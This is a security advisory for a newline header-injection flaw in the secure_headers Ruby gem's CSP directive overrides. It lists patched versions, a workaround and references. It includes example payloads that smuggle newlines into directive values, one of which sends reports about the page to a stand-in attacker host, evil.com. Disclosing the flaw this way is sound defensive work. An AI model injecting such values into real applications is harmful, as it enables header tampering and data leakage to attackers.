Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

• Open an issue in this repo
• DM us at @ndm on twitter

References

• GHSA-w978-rmpf-qmwg
• github/secure_headers@3016957
• https://nvd.nist.gov/vuln/detail/CVE-2020-5216
• https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml